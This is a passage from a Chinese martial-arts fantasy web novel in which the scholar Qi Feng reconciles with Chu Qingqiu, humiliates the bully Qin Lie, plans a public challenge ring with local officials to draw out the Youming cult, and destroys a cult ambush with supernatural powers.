这简短的一句话,几乎用尽了她此刻所有的勇气。
它不是一个明确的原谅,却是一种态度的松动,一个愿意尝试打破僵局的信号。
小荷虽然不能完全理解大人世界里复杂的纠葛,但她能敏锐地感觉到两人之间那股令人窒息的冰冷气息似乎消散了不少,空气中多了一丝缓和的暖意。
她立刻破涕为笑,开心地伸出小手指:“那我们就说定啦!以后不许再这样冷冰冰的了!拉钩上吊,一百年不许变!谁变谁是小狗!”
她先勾住齐枫的小指,用力晃了晃,然后又期待地看向楚清秋。
齐枫配合地笑着,目光却始终没有离开楚清秋。
楚清秋看着小荷那纯净充满期盼的眼神,又感受到齐枫那道复杂而温和的视线,心中最后一道防线终于瓦解。
她犹豫了一下,终究是缓缓伸出了自己纤细的、微微有些颤抖的手指,轻轻地与小荷,也间接地与齐枫,勾在了一起。
阳光透过稀疏的枫叶,洒下斑驳的光点,落在三根勾连的手指上,仿佛宣告着某种坚冰的消融。
山风吹过,带来阵阵凉意,但此刻三人的心中,却都感受到了一丝久违的暖流。
虽然横亘在他们之间的现实问题依然如山般沉重。
但至少,在这个秋光烂漫的午后,因为小荷这颗纯净无暇的赤子之心,那堵隔绝彼此的高墙,被推开了一扇小小的窗。
回程的马车上,气氛明显不同于来时。
小荷心满意足地靠在楚清秋怀里,玩累了加上心情放松,很快就沉沉睡去,嘴角还带着甜甜的笑意。
齐枫和楚清秋依旧没有过多的言语交流,但那种刻意的疏离和令人窒息的沉默已然消失。
偶尔因为马车颠簸,视线不经意间交汇,也不再是立刻仓惶避开,而是停留一瞬,带着一丝复杂难言,却又比以往多了几分坦然的意味。
楚清秋甚至能感觉到,自己一直紧绷的心弦,似乎也随着马车规律的摇晃,稍稍松弛了些许。
她低头看着怀中小荷恬静的睡颜,又用眼角的余光瞥见齐枫望着窗外出神的侧脸,心中那份沉重负担冰封的角落,也被这秋日午后的暖意熨帖出了一点点柔软的褶皱。
齐枫心中亦是感触良多。
小荷天真烂漫的话语,像一把钥匙,打开了他心中某些被忽略的角落。
他一直习惯于谋定后动,掌控全局,却忽略了情感本身需要的。
马车驶回锦绣阁时,夕阳的余晖将天边染成一片瑰丽的橘红色。
小荷揉着惺忪的睡眼醒来,看到并排走下马车的齐枫和楚清
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秋,虽然依旧保持着适当的距离,但不再是最初那种泾渭分明的隔阂,脸上立刻绽放出比晚霞还要灿烂的笑容。
她知道,她的努力没有白费。
就在齐枫以为可以暂时享受这片刻宁静,细细品味这来之不易的关系缓和时。
赵元昊和袁惊鸿精心策划的“假商人”阴谋被齐枫轻易识破,不仅没能打击到锦绣阁,反而让他们自己又成了笑柄,这让他们如同吞了苍蝇般恶心,更是将齐枫恨到了骨子里。
文的不行,商的不行,他们决定来点更直接的,武力折辱!
他们打听到,齐枫似乎并不懂武功,而他们这边,恰好有一位刚从京城来的“贵客”镇北侯府的二公子,秦烈。
这秦烈自幼习武,性格暴烈,最好勇斗狠,在京城纨绔圈里也是出了名的能打,且极其好面子。
赵元昊和袁惊鸿一番添油加醋,将齐枫描述成一个“仗着有点小聪明和陛下青睐就目中无人、嚣张跋扈”的小人,成功激起了秦烈的怒火。
“一个乡巴佬书生,也敢如此狂妄?看本公子不打得他跪地求饶!”秦烈当即拍案而起。
于是,就在齐枫回到锦绣阁的第二天上午,一场针对他的“武斗”风波,便在府城最繁华的太白楼前拉开了序幕。
这天,齐枫原本打算去府衙与赵明德、苏晚晴进一步商讨血月祭的调查事宜。
刚走出锦绣阁不远,经过太白楼时,便被一群人拦住了去路。
为首一人,身高八尺,虎背熊腰,穿着一身紧身的黑色劲装,外面随意披着一件锦袍,敞着怀,露出结实的胸膛,脸上带着毫不掩饰的倨傲和戾气,正是秦烈。
他身后,赵元昊、袁惊鸿以及一群狐朋**簇拥着,个个面带看好戏的讥讽笑容。
“你就是齐枫?”秦烈声如洪钟,抱着双臂,用下巴看着齐枫,眼神轻蔑。
齐枫停下脚步,目光平静地扫过众人,最后落在秦烈身上:“正是在下。阁下是?”
第两百九十八章 小丑
“本公子秦烈,镇北侯府二公子!”秦烈昂着头,用拇指指了指自己,“听说你小子很狂啊?连赵尚书家和袁家的面子都不给?还说什么文武双全?哼,本公子今天倒要看看,你这‘文’是有了,‘武’在哪里?!”
他话音未落,猛地踏前一步,一股凶悍的气势扑面而来,周围看热闹的百姓都被吓得后退了几步。
赵元昊在一旁阴阳怪气地煽风点火:“秦二哥,跟这种人多说什么?他也就只会耍耍嘴皮子,动真格的,怕是连您一拳都接不住!”
袁惊鸿也捂着脸上还未完全消退的疤痕,怨毒地说:“秦公子,您可得为我们出口恶气!这小子邪门得很,您小心别着了他的道!”
齐枫看着这拙劣的挑衅,心中只觉得好笑。
他神色不变,淡然道:“秦公子,齐某一介书生,习武只为强身健体,并非为了好勇斗狠。若几位公子没有其他事,齐某还要去府衙公办,恕不奉陪。”
说完,他便要绕开他们离开。
“想走?没那么容易!”秦烈哪里肯放他走,他认为齐枫这是怕了,想溜。
他猛地伸手,蒲扇般的大手带着风声,就向齐枫的肩膀抓来,想将他强行留下!“今天不比划比划,你别想离开这儿!”
这一抓势大力沉,若是寻常书生,恐怕立刻就会被抓得骨痛筋麻,当众出丑。
周围响起一片惊呼声。
赵元昊等人脸上都露出了得意的笑容,等着看齐枫被秦烈像拎小鸡一样拎起来。
接下来发生的一幕,却让所有人的笑容僵在了脸上。
就在秦烈的手即将碰到齐枫肩膀的瞬间,齐枫的身体仿佛只是随意极其自然地微微一侧。
就这看似微不足道的一侧,却妙到毫巅地让秦烈那迅猛的一抓落了空!
秦烈只觉得眼前一花,目标消失,因为用力过猛,身体不由自主地向前踉跄了一步,差点自己把自己带倒!他稳住身形,脸上满是错愕和难以置信!
“咦?”
“怎么回事?”
“秦公子失手了?”
围观的人群发出阵阵议论。
赵元昊和袁惊鸿也愣住了,这跟他们预想的剧本不一样啊!
秦烈感觉脸上挂不住了,尤其是在这么多人面前。
他怒吼一声:“好小子,有点门道!再看拳!”
这一次,他不再留手,砂钵大的拳头带着呼啸的风声,直捣齐枫的面门!这一拳若是打实了,恐怕石头都能打裂!
眼看拳头就要及体,齐枫依旧站在原地,仿佛被吓傻了一般。
楚清秋此刻正站在锦绣阁二楼的窗前,远远看到了这一幕。
她的心瞬间提到了嗓子眼,手下意识地攥紧了窗棂。虽然知道齐枫身负异术,但就是莫名的为齐枫担心。
南宫玥也闻讯赶来,看到这惊险的一幕,吓得花容失色,惊呼出声:“齐郎小心!”
就在这千钧一发之际,齐枫动了。
他的动作依旧看起来不快,甚至有些悠闲。
他没有硬接,也没有闪避,而是伸出了两根手指,如同拈花一般,迎着那威猛无俦的拳头,轻轻向前一探。
下一刻,让所有人目瞪口呆的事情发生了!
齐枫那两根看似纤细脆弱的手指,竟然后发先至,精准无比地点在了秦烈手腕的某个关节处!
“呃啊!”秦烈只觉得手腕处一阵剧痛酸麻,仿佛被电流击中一般,整条手臂瞬间失去了力气,那凝聚了全身力量的一拳,竟然在半途中硬生生僵住,然后软软地垂了下去!
秦烈又惊又怒,左手再次挥拳攻来!
齐枫如法炮制,又是轻描淡写地一指点出,精准地点在秦烈另一只手肘的麻筋上。
“啊!”秦烈左手也瞬间酸软无力!
齐枫甚至没有移动脚步,仅仅凭借两根手指,站在原地,便让凶神恶煞、攻势凌厉的秦烈双手暂时废掉,空有一身力气却无处可使!
这神乎其技的一幕,彻底震撼了所有人!
整个太白楼前鸦雀无声,落针可闻!
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>所有人都张大了嘴巴,难以置信地看着那个依旧一身青衫、神色淡然的年轻书生。
这……这真的是书生吗?这分明是深藏不露的绝世高手啊!
赵元昊和袁惊鸿彻底傻眼了,脸色惨白如纸,身体不由自主地开始发抖。
他们怎么也没想到,齐枫不仅文采风流,智计过人,连武功都高到了这种匪夷所思的地步!这还怎么玩?!
秦烈双手无力地垂着,又惊又怒又羞又怕,他看着齐枫,如同看着一个怪物。
他纵横京城,罕遇敌手,何曾受过如此奇耻大辱?!
齐枫缓缓收回手指,看着满脸惊骇的秦烈:“秦公子,还要继续比划吗?”
秦烈张了张嘴,却一个字也说不出来。他毫不怀疑,如果自己再敢动手,对方绝对有更厉害的手段等着自己。
齐枫目光转向面如土色的赵元昊和袁惊鸿,冷冷一笑:“赵公子,袁公子,看来二位是记性不太好。既然你们如此喜欢‘以武会友’,那齐某就给你们一个机会。”
他顿了顿,声音提高,确保周围所有人都能听到,“三日后,就在这太白楼前,齐某设下擂台,欢迎二位以及你们能找到的任何‘朋友’前来指教。无论是拳脚兵器,还是奇门异术,齐某都一并接下!也好让府城的百姓都看看,诸位京城来的‘贵公子’,究竟有何等‘真才实学’!”
这话如同平地惊雷,在人群中炸响!
公开设擂?!以一己之力,挑战赵元昊、袁惊鸿所能请到的所有帮手?!这得是何等的自信和霸气?!
人群瞬间沸腾了!所有人都用狂热和崇拜的目光看向齐枫!
赵元昊和袁惊鸿吓得魂飞魄散,差点瘫软在地。公开擂台?他们哪里请得到能对付齐枫这种怪物的高手?
这要是上去,岂不是自取其辱,把最后一点脸面都丢尽?!
齐枫不再理会这群跳梁小丑,拂了拂衣袖上并不存在的灰尘,在众人敬畏的目光注视下,从容地向着府衙方向走去。
第两百九十九章 擂台
楚清秋站在窗前,看着齐枫远去的挺拔背影,紧攥着窗棂的手缓缓松开,心中涌起一股难以言喻的复杂情绪。
有一种……连她自己都未曾察觉的安心。
他总能以最出人意料的方式,粉碎一切阴谋和挑衅。
南宫玥则是长长舒了口气,拍着胸口,眼中异彩连连,对齐枫的倾慕更深了一层。
而齐枫,在前往府衙的路上,心中却在冷静地分析。
公开设擂,并非一时冲动。
一来,可以彻底震慑赵元昊、袁惊鸿之流,让他们短时间内不敢再搞小动作,二来,或许能借此机会,引出一些藏在暗处与幽冥教可能有关联的人物,三来,也是向某些人展示自己的实力和价值。
毕竟,在即将到来的风暴中,拥有足够的力量,才能掌握更多主动权。
他与楚清秋的关系刚刚有所缓和,他需要尽快稳定后方,才能心无旁骛地应对幽冥教和血月祭的威胁。
只是不知,三日后,这太白楼前,又会掀起怎样的波澜。
齐枫在太白楼前,以两根手指轻描淡写废掉镇北侯府二公子秦烈双手的战绩,如同长了翅膀一般,以惊人的速度传遍了整个府城。
这一次,不再是文采风流,不再是智计过人,而是实打实的、令人瞠目结舌的武力震慑!
“两根手指!就两根手指啊!那秦烈可是京城来的高手,据说能生撕虎豹,在齐公子面前就跟纸糊的一样!”
“我就说齐公子不是凡人!文武双全,这才是真正的天之骄子!”
“赵元昊和袁惊鸿那两个纨绔,这次算是踢到铁板了!还想看齐公子出丑,结果自己成了最大的笑话!”
“三日后公开设擂?我的天,齐公子这是要一人单挑他们所有吗?太霸气了!”
街头巷尾,茶楼酒肆,所有人都在兴奋地议论着。
齐枫的声望,因为这次干净利落的“反打脸”,达到了一个前所未有的高峰。
之前那些因赵元昊散布谣言而对齐枫有所怀疑的人,此刻也彻底闭上了嘴,只剩下敬畏和崇拜。
锦绣阁的门槛这几日几乎要被前来道贺、攀交情的人踏破了。
南宫玥忙着接待,脸上洋溢着与有荣焉的骄傲笑容。
柳若雪则更加警惕,暗中加派了人手,防止有人狗急跳墙,暗中使坏。
周子陵和徐远陈玉堂三人更是兴奋得无以复加,围着齐枫,恨不得把他举起来抛几下。
“齐兄!你藏得也太深了!有这身手,早说啊!看以后谁还敢来招惹咱们!”周子陵激动地脸都红了。
徐远虽然沉稳些,也难掩激动:“齐兄此举,不仅震慑了宵小,更扬了我府城威风!看那些京城来的纨绔还敢不敢小觑我们!”
陈玉堂不语,只是一昧的竖着大拇指!
齐枫对此只是淡然一笑。
这点显露的武力,不过是冰山一角,他设立擂台,不是为了炫耀武力。
与此同时,赵元昊和袁惊鸿则如同热锅上的蚂蚁。
秦烈双手虽然经过大夫诊治,并无大碍,只是暂时酸麻无力,但那份羞辱和恐惧却深深烙印在了他心里。
他丢尽了颜面,再无脸面待在府城,当天下午就带着随从灰溜溜地返回京城了,连句狠话都没敢留。
赵元昊和袁惊鸿躲在袁家的一处别院里,相对无言,脸色惨白。
“怎……怎么办?三日后擂台……”袁惊鸿声音发颤,他脸上的伤疤似乎都在隐隐作痛,“那齐枫根本就是个怪物!我们上哪里去找能对付他的人?”
赵元昊眼神阴鸷,猛地将手中的茶杯摔得粉碎:“废物!都是废物!连个乡巴佬都收拾不了!”
他发泄了一通,颓然坐下,“找!花重金!去江湖上找亡命徒!去找那些有奇门异术的!我就不信,他齐枫真是三头六臂!”
可他们心里都清楚,能在公开擂台上、众目睽睽之下击败齐枫的高手,岂是那么容易找到的?
就算找到,
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代价也必然极大,而且未必可靠。
就在赵元昊和袁惊鸿焦头烂额之际,袁府深处,一间终年不见阳光、弥漫着浓郁药味和阴冷气息的密室内。
袁惊尘盘膝坐在一个由黑色玉石砌成的诡异阵法中央。
他赤裸着上身,原本还算健硕的身体,此刻却显得有些枯瘦,皮肤呈现出一种不健康的青灰色,上面布满了密密麻麻、如同活物般蠕动的暗红色诡异纹路。
他的脸色苍白如纸,嘴唇却是诡异的紫黑色,双眼紧闭,眉头紧锁,似乎在承受着巨大的痛苦。
密室内烛火摇曳,投下扭曲的影子。
四周墙壁上刻画着各种狰狞的鬼怪图腾,空气中弥漫着血腥味和一种令人作呕的**气息。
“呃……啊!”袁惊尘猛地睁开双眼,那双眼睛里布满了血丝,瞳孔深处竟隐隐泛着一丝幽绿色的光芒,充满了暴戾,痛苦和一种非人的疯狂。
他张开嘴,发出一声不似人声的低吼,猛地一拳砸在身下的黑玉阵台上!
“轰!”一声闷响,阵台微微震动,上面的诡异纹路闪烁了一下。
“不够……还不够!”袁惊尘声音沙哑如同砂纸摩擦,“这血煞噬魂功进展太慢了!齐枫……齐枫!都是因为你!若不是你屡次坏我好事,我何须修炼这等凶险**!”
他脑海中浮现出齐枫那张淡然的脸,一股滔天的恨意和杀机汹涌而出,几乎要冲垮他的理智。
自从断魂谷回来,被齐枫间接导致计划失败、他和萧无痕动手,身受重伤后,便被父亲袁振山勒令在此密室中“静养”,实则是在修炼一种幽冥教提供极其阴毒邪门的速成**,血煞噬魂功。
此功以自身精血和外界煞气、生魂为引,进展极快,但副作用也极大,极易侵蚀心智,走火入魔。
“快了……就快了……”袁惊尘喘着粗气,感受着体内那股日益壮大充满毁灭力量的阴寒内力,脸上露出一抹狰狞而扭曲的笑容。
第三百章 博弈
“齐枫,你等着!待我神功大成,定要将你**万段!还有萧无痕……你们一个都跑不了!”
他重新闭上眼睛,更加疯狂地运转起那邪异的**,密室内阴风惨惨,鬼哭狼嚎之声若有若无。
锦绣阁内,齐枫并未因即将到来的擂台而有丝毫紧张。
他依旧按部就班地处理着阁中事务,与苏晚晴保持着联系,推演星象地气。
这日午后,他正在书房翻阅一本古籍,楚清秋端着一碟新做的点心,轻轻走了进来。
“少爷,歇息片刻吧。”她的声音依旧清冷,但比起之前的疏离,多了几分自然的柔和。
自从落霞坡归来,两人之间的关系维持着一种微妙的平衡,虽不亲密,但也不再冰冷。
齐枫抬起头,看到她,目光柔和了些许:“有劳了。”
他放下书卷,拿起一块点心尝了尝,点头赞道,“味道很好。”
楚清秋将点心放在桌上,并没有立刻离开。她犹豫了一下,还是开口问道:“三日后……擂台之事,少爷有把握吗?”
她的眼中带着一丝不易察觉的担忧。
虽然亲眼见过齐枫出手,但公开擂台,变数太多,她担心有人会使出阴损手段。
齐枫看着她眼中那抹真实的关切,心中微暖,笑了笑:“放心吧,不过是些跳梁小丑,掀不起什么风浪。借此机会,正好清理一下府城这些乌烟瘴气。”
楚清秋看着他笃定的神情,心中的担忧莫名消散了不少。她轻轻“嗯”了一声,低声道:“那……少爷小心。”说完,便转身离开了书房。
看着她离去的背影,齐枫嘴角的笑意加深了些许。
关系的缓和,让他感觉肩上的担子似乎都轻了一些。
不过赵元昊和袁惊鸿绝不会坐以待毙,他们一定会想尽办法在擂台上找回场子。
而且,幽冥教的人也可能混水摸鱼。
他设立这个擂台,本身就是一个诱饵。
“富贵。”齐枫轻声唤道。
富贵如同鬼魅般出现在书房角落:“少爷。”
“擂台那边,安排好了吗?”齐枫问道。
“少爷放心,一切按计划进行。我们的人会混在人群中,确保不会有超出控制的意外发生。另外,根据您的吩咐,对城西染坊和几处可疑泉眼的监视已经加强,苏大人那边似乎也有新的发现,约您明日详谈。”
齐枫点了点头:“很好。告诉下面的人,眼睛放亮一点,这次擂台,说不定能钓到大鱼。”
他走到窗边,望着窗外熙攘的街道,眼神深邃。
三日后的大白楼擂台,注定不会平静。
这是一场引蛇出洞的博弈。
他已经做好了准备,静待风雨来临。
只是不知,那条藏在深处的毒蛇什么时候露出他致命的獠牙。
齐枫要在太白楼前公开设擂,以一己之力挑战赵元昊、袁惊鸿所能请到的所有“帮手”,这消息如同投入平静湖面的巨石,激起的涟漪自然也扩散到了府衙深处。
翌日上午,齐枫便接到了赵明德派人送来的口信,请他过府一叙。
齐枫心知肚明,定然是为了擂台之事。
他整理了一下衣袍,便带着富贵来到了府衙。
议事厅内,气氛比往日略显凝重。
赵明德端坐主位,眉头微锁,手指无意识地敲击着桌面。
卢正淳坐在下首,脸色依旧带着病容,不时低咳几声,但眼神却十分清明。
而最让人意外的,是萧无痕竟然也在场。
他依旧是一身玄色锦衣,脸色苍白,伤势显然未愈,但那双鹰隼般的眼眸却锐利如初,此刻正半阖着,仿佛在养神,又仿佛在审视着走进来的齐枫。
“齐贤弟来了,快请坐。”赵明德见到齐枫,脸上挤出一丝笑容,示意他坐下。
“赵大人,卢大人,萧大人。”齐枫拱手行礼,从容落座,目光平静地扫过三人。
赵明德清了清嗓子,开门见山:“齐贤弟,今日请你过来,主要是为了三日后太白楼擂台之事。此事……已在府城传得沸沸扬扬
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,不知贤弟是何打算?”
他的语气带着关切,也有一丝不易察觉的忧虑。
齐枫如今身份特殊,乃是陛下亲口赞许、即将特召入京的人才,若在擂台上有个什么闪失,他这个知府难辞其咎。
齐枫尚未回答,卢正淳便咳嗽着接口道:“齐公子,咳咳……老夫知道你身手不凡,智计超群。但公开设擂,风险不小。赵元昊、袁惊鸿之流,虽不成器,但其背后牵扯的势力盘根错节,难保不会请来一些亡命之徒或者身怀异术之辈。明枪易躲,暗箭难防啊。”
他这话说得语重心长,是真心为齐枫考虑。
齐枫对卢正淳投去感激的一瞥,正要开口,一直沉默的萧无痕却忽然睁开了眼睛,冰冷的目光直射齐枫。
“齐枫,你可知此举会带来何等后果?”
萧无痕的声音如同寒冰,“府城如今本就因幽冥教之事风声鹤唳,民心不稳。你在此刻设擂,聚众斗殴,极易被幽冥教趁虚而入,制造混乱!若因此引发骚乱,甚至让幽冥教的阴谋得逞,这个责任,你担待得起吗?”
他这话说得极重,直接将擂台之事拔高到了影响府城安危、干扰剿灭幽冥教大局的层面。
赵明德和卢正淳闻言,脸色也都更加凝重起来。
萧无痕的担忧,不无道理。
齐枫面对萧无痕咄咄逼人的目光,神色却依旧平静。
他早就料到萧无痕会有此一问,甚至可以说,他某种程度上就是在等萧无痕表态。
“萧大人所言极是。”齐枫先是肯定了萧无痕的担忧,随即话锋一转,“然而,正因府城如今暗流汹涌,魑魅魍魉潜伏,齐某才觉得,有必要设下此擂。”
“哦?”萧无痕眼神微眯,透出危险的光芒,“此言何意?”
齐枫从容道:“其一,赵元昊、袁惊鸿等人,屡次三番挑衅生事,散布谣言,试图扰乱府城秩序,其行径已与跳梁小丑无异,若继续放任,只会助长其气焰,让更多宵小之辈以为府城可欺,有机可乘。”
第三百零一章 捆绑
齐枫继续说。
“此次设擂,便是要以雷霆手段,彻底震慑此辈,肃清这股歪风邪气,还府城一个朗朗乾坤!此乃扬清抑浊。”
他顿了顿,观察了一下三人的神色,继续道:“其二,正如萧大人所虑,幽冥教潜伏在侧,虎视眈眈。他们最擅长浑水摸鱼,利用混乱。赵、袁二人为了对付齐某,定然会不择手段,广邀帮手。”
“这其中,难保不会有幽冥教的人,或者与幽冥教有所勾结之徒,趁机混入。齐某设下此擂,便是要给他们一个光明正大现身的机会!将潜在的威胁,从暗处引到明处!此乃引蛇出洞!”
“引蛇出洞?”赵明德眼睛一亮,似乎抓住了什么。
“不错。”齐枫点头,“与其整日提防不知会从何处射来的冷箭,不如主动创造一个可控的场合,让他们自己跳出来。在众目睽睽之下,在官府和锦衣卫的严密监控之下,总比他们在暗地里搞些防不胜防的阴谋要好对付得多。”
“届时,谁是跳梁小丑,谁是魑魅魍魉,一目了然!萧大人正好可以借此机会,甄别可疑之人,顺藤摸瓜,或许能找到幽冥教的线索!”
这一番分析,条理清晰,目标明确,将原本看似冲动好斗的设擂行为,瞬间拔高到了为稳定府城、清剿幽冥教服务的高度!
卢正淳抚须沉吟,缓缓点头:“齐公子此计……倒是颇有深意。化被动为主动,将麻烦转化为契机……咳咳,若真能借此引出几条大鱼,倒是值得一试。”
赵明德也明显意动,看向齐枫的目光充满了赞赏:“贤弟果然深谋远虑!如此说来,这擂台非但不是添乱,反而是一步妙棋?”
萧无痕死死盯着齐枫,似乎想从他脸上找出一丝一毫的破绽。
他不得不承认,齐枫这番说辞,逻辑严密,无懈可击,甚至完美地契合了他追查幽冥教的需求。
但是,齐枫如此积极地将事情揽到自己身上,甚至不惜以身作饵,其真实目的,真的只是为了“扬清抑浊”和“引蛇出洞”吗?
还是说,他另有图谋?
借此机会展示实力,笼络人心?
“即便如你所说,是为了引蛇出洞。”萧无痕声音依旧冰冷,“你又如何保证,能控制住局面?若对方请来的,是连你都无法应付的高手,或者使用了某些禁忌的邪术,导致场面失控,伤及无辜,又当如何?”
这才是问题的关键。
萧无痕不在乎齐枫和赵元昊等人的私人恩怨,他在乎的是府城的稳定和他自己的办案效率。
齐枫迎上萧无痕审视的目光,嘴角勾起一抹自信的弧度:“萧大人放心。齐某既然敢设此擂,自然有所准备。至于控制局面……”
他目光扫过赵明德和卢正淳,最后回到萧无痕身上,“这不正是需要三位大人鼎力相助的地方吗?”
他缓缓道:“擂台设在太白楼前,乃繁华之地,便于官府布控。届时,可请赵大人增派衙役兵丁,维持外围秩序,疏散闲杂人等,划定安全区域。卢大人可坐镇后方,协调各方。而萧大人……”
齐枫看向萧无痕,语气郑重,“您的锦衣卫,精锐尽出,混入人群,或占据制高点,密切监视所有可疑人物。一旦发现有人使用邪术,或行为异常,企图制造混乱,便可立刻出手擒拿!有萧大人和锦衣卫坐镇,齐某相信,任何魑魅魍魉,都翻不起大浪!”
他将自己放在了明处充当诱饵,而将维持秩序、清剿隐患的重任,巧妙地交还给了官府和锦衣卫,尤其是萧无痕。
这既是一种尊重,也是一种捆绑。
你萧无痕不是担心出事吗?那就请你亲自出手来保障安全,若是出了事,你也有责任。
萧无痕眼神闪烁,齐枫这话,将他架在了一个无法拒绝的位置。
若他不同意,显得他锦衣卫无能,不敢承担责任,若他同意,就等于默认了齐枫的计划,并且要调动力量
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为其“保驾护航”。
良久,萧无痕才冷哼一声:“好一个齐枫!倒是打得一手好算盘!将本官也算计进去了!”
齐枫坦然道:“萧大人言重了。齐某此举,并非算计,而是为了共同的目标,铲除幽冥教,保府城安宁。唯有我们目标一致,齐心协力,方能毕其功于一役。”
赵明德见气氛有所缓和,连忙打圆场:“萧大人,齐贤弟所言,确实有理。既然设擂已成定局,不如我们就借此机会,布下天罗地网,若能有所收获,岂不美哉?府衙这边,定当全力配合萧大人!”
卢正淳也道:“咳咳……老夫也觉得此计可行。风险虽有,但收益可能更大。关键在于,我们能否掌控全局。”
萧无痕沉默了片刻,最终,他缓缓站起身,目光如刀般刮过齐枫的脸:“齐枫,记住你今天说的话。擂台之事,本官可以不管,甚至可以按你说的,派锦衣卫维持秩序,监视可疑。但是!”
他语气陡然转厉,“若因此事引发任何不可控的后果,或者让本官发现你另有图谋……休怪本官翻脸无情!”
这算是默认了,但也留下了严厉的警告。
齐枫拱手,神色不变:“齐某明白,定不负诸位大人所托。”
一场关于擂台的商讨,最终以各方达成微妙共识而告终。
齐枫成功地将个人行为转化为官方默许甚至支持的“引蛇出洞”行动,并且将萧无痕和官府的力量绑上了自己的战车。
离开府衙时,齐枫抬头望了望天空,阳光有些刺眼。
三日后的大白楼擂台,将不再仅仅是他与赵元昊等人的私人恩怨,更是一场在官府和锦衣卫注视下,针对潜伏敌人的公开清剿行动。
而他要做的,就是在万众瞩目之下,扮演好那个强大而自信的“诱饵”,静待鱼儿上钩。
局势,越来越复杂了。
府衙议事后,齐枫心中对三日后擂台的整体布局已然清晰。
第三百零二章 摧枯拉朽的实力
幽冥教显然并不打算坐等擂台之日,他们似乎想在那之前,就先除掉齐枫这个最大的变数。
这日傍晚,齐枫以巡查城西几处产业为由,只带了富贵一人,骑马出了城。
这并非临时起意,而是他故意露出的一个破绽。
一个远离府城、相对僻静,适合动手的“机会”。
秋日的黄昏来得早,夕阳将天边染成一片凄艳的血色,城郊的官道上行人渐稀,两旁是开始变得枯黄的田野和远处影影绰绰的山林,平添了几分肃杀之气。
齐枫策马缓行,似乎全然未觉危险的临近。
富贵沉默地跟在身后,眼神警惕视着四周。
就在两人行至一处前不着村后不着店、道路两侧皆是茂密树林的拐弯处时,异变陡生!
“咻咻咻——!”
数十道凌厉的破空之声如同毒蛇吐信,从道路两侧的树林中飞射而出!
目标并非齐枫和富贵本人,而是他们胯下的马匹!
淬毒的弩箭!目的明确,要先废掉他们的机动性!
与此同时,道路前方和后方,泥土翻涌,瞬间弹出七八条绊马索!
更有数张带着倒钩和符文的巨大渔网,从树冠上罩落下来!
埋伏!精心策划的埋伏!前后左右,天上地下,几乎封死了所有闪避的空间!
这阵势,显然是要一击必杀,不留任何活路!
若是寻常武林高手,哪怕是江湖上的一流好手,骤然陷入这等绝杀之局,恐怕也要手忙脚乱,非死即伤!
可面对这突如其来的致命袭击,马背上的齐枫,甚至连眉头都没有皱一下。
他甚至没有去看那些飞射而来的弩箭、弹起的绊马索和罩落的渔网,只是轻轻拍了拍座下因为受惊而有些躁动的马匹脖颈,那马儿竟瞬间安静了下来。
就在毒弩即将射中马身的刹那,就在绊马索即将绊住马蹄的瞬间,就在渔网即将笼罩下来的那一刻!
齐枫动了。
他的动作,看起来并不快,甚至带着一种闲庭信步般的优雅。
他只是随意地抬起了右手,五指张开,对着前方虚空,轻轻一拂。
没有惊天动地的巨响,没有耀眼夺目的光华。
但就在他这一拂之下,那飞射而来的数十支淬毒弩箭,仿佛撞上了一堵无形无质、却坚不可摧的气墙!
在距离马身尚有数尺之遥时,便如同陷入了粘稠的泥沼,速度骤减,最终“叮叮当当”地掉了一地,箭头上的幽蓝毒光瞬间黯淡消散。
那七八条精心设置的绊马索,如同被无形的利刃斩过,齐刷刷地从中断裂!
那几张带着邪异符文、坚韧无比的渔网,更是如同遇到了克星,网上的符文瞬间熄灭!
渔网本身则如同被烈日暴晒的蛛网,寸寸碎裂,化作飞灰,飘散在空气中!
一切发生在电光火石之间!
从袭击发动,到所有攻击手段被轻描淡写地化解,不过是一两次呼吸的功夫!
树林中,原本准备看到目标人马俱碎、然后一拥而上的伏击者们,全都傻眼了!
他们脸上的狞笑僵住,取而代之的是无边的震惊和恐惧!
这……这是什么手段?!他还是人吗?!
“藏头露尾的鼠辈,也敢在我面前放肆?”
齐枫淡淡的声音响起,不高,却清晰地传入每一个伏击者的耳中,带着一种令人心悸的冰冷。
他依旧端坐马上,甚至没有去看那些埋伏者的藏身之处,只是目光平静地扫过两侧的树林。
“既然来了,那就都留下吧。”
话音未落,他再次抬起了手。
这一次,不再是防御,而是进攻。
他没有使用任何兵器,只是并指如剑,对着左侧的树林,随意地划了几下。
无声无息。
但左侧树林中,却骤然响起了数声凄厉至极、不似人声的惨叫!
紧接着,便是重物倒地声和树木被无形力量切断的“咔嚓”声!
随即,他又对着右侧的树林,如法炮制。
同样的无声无息,同样的惨叫连连,同样的树木摧折!
富贵甚至没有看清自家少爷具体做了什么,他只看到少爷随意地挥了挥手,然后两侧树林里那些原本杀机四伏的地方,便瞬间陷入了死寂!只有浓郁的血腥味,开始顺着晚风飘散出来。
齐枫做完这一切,仿佛只是随手拍死了几只烦人的苍蝇,脸上没有丝毫波澜。
他甚至连马都没有下,只是对富贵吩咐道:“去清理一下,看看有没有活口,问出点有用的东西。另外,检查一下他们身上,有没有幽冥教的标记或者信物。”
“是,少爷!”富贵强压下心中的震撼,立刻下马,身形如电般掠入树林。
片刻之后,富贵返回,脸色凝重中带着一丝兴奋:“少爷,左右两侧共二十一名伏击者,全部毙命!无一活口!手段……很干净利落,像是被极其锋锐的无形剑气瞬间切割要害而死。他们身上都带着这个!”
他递过来几块黑色的木牌,上面刻画着狰狞的鬼首图案,正是幽冥教的身份标识!
齐枫接过木牌,看了一眼,随手碾成粉末,眼神冰冷:“果然是幽冥教,但价格不高,应该只是前头兵。看来,他们是真着急了。擂台还没开始,就迫不及待地想先除掉我。”
他望向府城的方向,嘴角勾起一抹冷冽的弧度:“也好,正好用他们的血,给三日后的擂台,先热热身。”
夕阳彻底沉入地平线,最后一抹余晖将齐枫的身影拉得很长。
他调转马头,语气依旧平淡无波:“走吧,回城。看来,有些人已经等不及要登台表演了。”
富贵看着少爷那在暮色中显得愈发挺拔和深不可测的背影,心中充满了敬畏。
他毫不怀疑,三日后的太白楼擂台,无论赵元昊、袁惊鸿能请来什么样的“帮手”,在少爷面前,都不过是土鸡瓦狗,不堪一击。
主仆二人策马缓缓消失在渐浓的夜色中,只留下身后那片弥漫着血腥气的树林,无声地诉说着方才那场短暂却绝对碾压的伏杀。
幽冥教的这次行动,不仅没能伤到齐枫分毫,反而像是主动送上门的祭品,更加坚定了齐枫彻底铲除他们的决心!
第三百零三章 魅影
城郊伏杀失败,二十一名精锐教徒全军覆没的消息,如同一声丧钟,在幽冥教位于府城地下的隐秘据点中敲响。
